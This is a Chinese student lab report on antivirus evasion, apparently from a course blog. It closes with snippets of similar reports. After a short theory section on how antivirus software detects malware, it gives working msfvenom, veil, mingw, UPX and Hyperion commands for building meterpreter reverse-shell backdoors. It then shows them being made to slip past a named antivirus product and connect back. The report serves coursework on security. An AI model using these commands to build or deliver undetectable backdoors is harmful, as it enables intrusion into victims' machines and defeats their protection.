Exp3 免杀原理和实践

一、基础问题回答

1.杀软是如何检测出恶意代码的?

(1)基于特征码的检测

特征码是能识别一个程序是一个病毒的一段不大于64字节的特征串。如果一个可执行文件包含这样的特征码则被杀毒软件检测为是恶意代码。

(2)启发式恶意软件检测

一般在缺乏精确判定依据时,根据些片面特征去推断是否为恶意软件,比如如果一个软件在干通常是恶意软件干的事,看起来像个恶意软件,那就把它当成一个恶意软件。

(3)基于行为的恶意软件检测

基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式。

2.免杀是做什么?

免杀,即反杀毒技术,是一种能使病毒木马避免被杀毒软件查杀的技术。

3.免杀的基本方法有哪些?

(1)变形特征码:

  • 只有EXE:
  • 加壳:压缩壳 加密壳
  • 有shellcode:
    • encode编码、payload重新编译
  • 有源代码:
  • 翻译成其他语言

(2)改变明目张胆的行为:

改变通讯方式

  • 尽量使用反弹式连接
  • 使用隧道技术
  • 加密通讯数据
    改变操作模式
  • 基于内存操作
  • 减少对系统的修改
  • 加入混淆作用的正常功能代码

(3)非常规免杀方法:

使用社工类攻击、纯手工打造一个恶意软件等等。

二、具体实验内容

1. 正确使用msf编码器

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.198.128 LPORT=4310 -f exe > ZHYY_backdoor.exe

和第二次实验一样用msf编码器生成了一个相对比较简单的后门,将这个后门拉到virscan上检测一番:

59%的杀软检测出来有问题。

接下来尝试着编译多次:

msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 7 -b ‘\x00’ LHOST=192.168.192.128 LPORT=4310  -f exe > ZHYY_backdoor7.exe

拉到virscan网站上去检测,发现报毒率升高,WTF

2. msf编码器生成jar文件

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.198.198 LPORT=4310 x> 66zhyy.jar

整出来一个这个东西:

拉到virscan上扫描:

报毒率明显较低,C语言感觉还是不靠谱,java和php感觉靠谱多了

2. veil-evasion的安装和使用

这是整个实验中最狗逼的内容没有之一,没有任何技巧性可言,完全取决于客观条件:网速,电脑性能。对于装软件来说我的这台辣鸡电脑从来没有让我欣慰过,同样这次装这个veil甚至一度让我装到自闭,不过好在最后问题都解决了,在老师和同学的帮助下。好了先说一下遇到的问题:

(1)首先是这个dpkg:

很头疼,上网查了好多,然并卵,最后run一下后面那段‘sudo dpkg....‘就OK了

(2)然后是葡萄酒

出现对话框就直接卡在这个界面不动了,根据提示你要装一个32位的葡萄酒

(3)安装葡萄酒出现问题:

这次学聪明了,run一下就行了

(3)葡萄酒又丢失

在最后的关头,葡萄酒又找不到了,跟上述问题一样run run run

最后终于装好了这个玩意:

如果说有谁装的比我还慢那一定是我的舍友,他到现在也没装好然后自闭地在寝室里打2K

不得不说这个东西的作用还挺大的,生成对的exe文件比接下来注入的shellcode靠谱地多

然后list一下选一种反弹链接的语言:

比如这个后面带rev_tcp.py的

use 7 //选择c语言模板

set LHOST 192.168.198.128

set LPORT 4316

generate //生成

//输入名字78747

然后去 var/lib/veil/output/compiled/这个文件里去找这个可执行文件

然后刚刚拉到windows下就被电脑管家咔擦掉了

还是在kali上用virscan检测一下吧:

报毒率明显减少了许多。

3. 使用shellcode注入

首先利用 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.192.128 LPORT=4310 -f c 生成shellcode

输入 vim 4310shellcode.c 把生成的shellcode粘贴过来,再用c语言补全整个程序

保存并退出编辑器后,利用 i686-w64-mingw32-g++ shellcode1.c -o 4310shellcode.exe 编译.c文件,生成exe文件

然后被又被电脑管家给咔嚓掉了

4. 使用各种组合技术实现免杀

我是给第三项注入的shellcode程序做的,这个实验遇到了一些问题,首先就是我生成的那个4310shellcode.exe在加入电脑管家的白名单之后无法实现反弹链接,所以我重新修改了一下生成的c语言文件,给他加了头文件:

然后用upx压缩壳,输入命令 upx dllm2.exe -o 4310dllm.upxed.exe

将这个文件拉到windows下被电脑管家发现,不过加入白名单之后可以实现反弹链接了。

在此基础上给他加一个hyperion壳

cd /usr/share/windows-binaries/hyperion/
wine hyperion.exe -v 4310dllm.upxed.exe 4310dllm.upxed.Hyperion.exe

然而还是被查杀了

三、成功例子

1. 后门和杀软共生

考虑到C语言生成的后门容易被查,所以这里我用了python语言编写后门,又考虑到半手工免杀手段容易被识破,所以送veil生成后门。

然后发现好像杀软没有管他。。。

给他加一个压缩壳,立马被杀了,可能加壳这种东西对于电脑管家来说太容易被发现了

然后再给他加一个hyperion壳,电脑管家就没有发现异常

好像除了我电脑速度慢,也没发现其他的什么问题,然后尝试回连,回连成功。

2. 用另一台电脑实测在杀软环境下实现回连,并标明杀软版本。

将网络模式由NAT设置为桥接,然后ping一下另一台主机,即可实现回连。

然而,没有人把电脑借给我用,无奈,嗯,扣分吧。

四、实验总结

通过本次实验,掌握了后门更多的生成方法以及如何通过加壳实现免杀(虽然没有实现)以及杀软是通过什么来进行杀毒的,体会道了veil的强大之处,同时这次实验让我充分认识到了杀软的局限性以及杀软在面对一些精心制作的后门时几乎是毫无用处的,最关键的是制作这样一个免杀后门的技术门槛和成本是非常低的。所以开启杀软无法绝对防御电脑种的恶意代码。

这次实验相比于前几次来说完成地相对独立了,遇到了很多很多的问题,也是自己一个人慢慢解决了百分之九十九不过真正能力的提升还是得靠自己一点一点来努力,只有把自己逼入绝境才能有所突破,用了很长时间呢,不过这些问题基本上都已经搞明白了,搞不明白没关系,还有七次实验能让自己多敲敲代码,努力吧,希望下一次会更好,希望下一次自己能做的更加独立。

原文地址:https://www.cnblogs.com/zhyy981025/p/10629016.html

时间: 2024-08-05 01:19:05

Exp3 免杀原理和实践的相关文章

Exp3 免杀原理与实践

Exp3 免杀原理与实践 这次的实验令我非常兴奋,因为要对抗的是各大杀毒软件厂商,所以事先得做好很多功课.另一方面我也想看看metasploit在这场猫鼠游戏中能不能走在安全厂商的前面. 这次的目标免杀平台是64位windows 7 SP1,我用的windows 7 SP1虚拟机中事先装了一下杀毒软件: 火绒 版本:4.0.55.0 360安全卫士 版本:11.4.0.2002 -- 必须连上互联网才能正常工作 在线检测: Virustotal (www.virustotal.com) Virs

网络对抗 Exp3 免杀原理与实践 20154311 王卓然

Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的?  ①基于特征码的检测:AV软件厂商通过检测一个可执行文件是否包含一段与特征码库中相匹配的特征码从而判断是否为恶意软件.  ②启发式恶意软件检测:就是根据一个程序的特征和行为如果与恶意软件相似,就判定为恶意软件. ③基于行为的恶意软件检测:同启发式,启发式偏向于对程序的特征扫描,基于行为的则是多了对程序的行为监控. (2)免杀是做什么? 免杀就是使恶意软件能不被AV软件的检测出来,其本身安装的后门能够不被发现,成功存活

2017-2018-4 20155317《网络对抗技术》EXP3 免杀原理与实践

2017-2018-4 20155317<网络对抗技术>EXP3 免杀原理与实践 一.问题回答 (1)杀软是如何检测出恶意代码的? (2)免杀是做什么? (3)免杀的基本方法有哪些? 2.实践 (1) 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧 首先尝试一下自己上个实验做出的后门程序 果然是不堪一击...拿去检测一下 装上veil尝试一下结果会如何 : 温馨提示一下,刚开始我是用的自己装的64的ka

2017-2018-2 《网络对抗技术》 20155322 Exp3 免杀原理与实践

#2017-2018-2 <网络对抗技术> 20155322 Exp3 免杀原理与实践 [-= 博客目录 =-] 1-实践目标 1.1-实践介绍 1.2-实践内容 1.3-实践要求 2-实践过程 2.1-正确使用msf编码器 2.2-veil-evasion 2.3-组合应用技术实现免杀 2.4-靶机实测 2.5-基础问题回答 3-资料 1-实践目标 1.1-实践介绍:免杀 一般是对恶意软件做处理,让它不被杀毒软件所检测.也是渗透测试中需要使用到的技术. 要做好免杀,就时清楚杀毒软件(恶意软件

20154307《网络对抗》Exp3 免杀原理与实践

20154307<网络对抗>Exp3 免杀原理与实践 一.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测:杀毒软件检测到有程序包含的特征码与其特征码库的代码相匹配,就会把该程序当作恶意软件. 启发式恶意软件检测 基于行为的恶意软件检测:检测程序是否会有一些恶意行为,如修改注册表,更改权限等等.. (2)免杀是做什么? 让攻击程序不被杀软查杀 (3)免杀的基本方法有哪些? 加壳 改变特征码 二.实践内容 1.使用msf生成后门程序的检测 由于上一个实验我们已经用msf生成了一

Exp3 免杀原理与实践20154302薛师凡

Exp3 免杀原理与实践20154302薛师凡 一.实践目标与内容 利用多种工具实现实现恶意代码免杀 在另一台电脑上,杀软开启的情况下,实现运行后门程序并回连成功. 在保证后门程序功能的情况下实现杀软共存. 二.实践过程与步骤 1.使用msf编码器生成的后门程序 上次实践生成的后门程序,直接被360发现了,在virscan网站扫描,也有17个杀毒引擎识别了出来,很容易被辨识出来的. 2.使用veil-evasion生成的后门程序 2.1安装veil平台 apt-get install veil-

Exp3 免杀原理与实践 20154301仉鑫烨

20154301 Exp3 免杀原理与实践 仉鑫烨 一. 实践内容 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧; 通过组合应用各种技术实现恶意代码免杀; 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本. 二. 基础问题 杀软是如何检测出恶意代码的? 答:①基于特征码检测:如果一个可执行文件包含一段特征码则被认为是恶意代码,过时的特征码库就是没有用的,因此杀毒软件的更新很

20155218《网络对抗》Exp3 免杀原理与实践

20155218<网络对抗>Exp3 免杀原理与实践 一.使用msf生成后门程序的检测 (1)将上周msf生成的后门文件放在virscan.org中进行扫描,截图如下: (2)使用msf时对它多编码1次并进行测试 发现能发现的杀软变少: (3)使用msf时对它多编码10次并进行测试 编码10次后,发现可以查杀的杀软数量仅仅减少了一个: 二.使用veil-evasion生成后门程序的检测 通过list查看功能,选用22命令 生成文件: 测试结果: 显而易见,效果并不理想: 三.利用shellco

20155232《网络对抗》Exp3 免杀原理与实践

20155232<网络对抗>Exp3 免杀原理与实践 问题回答 1.基础问题回答 (1)杀软是如何检测出恶意代码的? 基于特征码的检测 特征码:一段特征码就是一段或多段数据. 如果一个可执行文件(或其他运行的库.脚本等)包含这样的数据则被认为是恶意代码. 启发式恶意软件检测 根据些片面特征去推断. 通用性,不精确. 基于行为的恶意软件检测 修改文件硬盘.连接恶意网站.修改注册表 (2)免杀是做什么? 通过一些手段来瞒过杀软的检测扫描.避免被杀毒软件查杀. (3)免杀的基本方法有哪些? 改变特征

20155202张旭 Exp3 免杀原理与实践

20155202张旭 Exp3 免杀原理与实践 AV厂商检测恶意软件的方式主流的就三种: 基于特征码的检测 启发式恶意软件检测 基于行为的恶意软件检测 我们要做的就是让我们的恶意软件没法被这三种方式找到,也就是免杀.具体的手段有: 改变特征码 依靠分片等方法尝试找出特征码区域,并对该区域代码进行编码 加壳,使其无法进行逆向,比对病毒库中的特征码 改变行为方式: 如果你手里只有EXE 有shellcode(像Meterpreter) 有源代码 改变行为 通讯方式 操作模式 例如之前注入所用到的反弹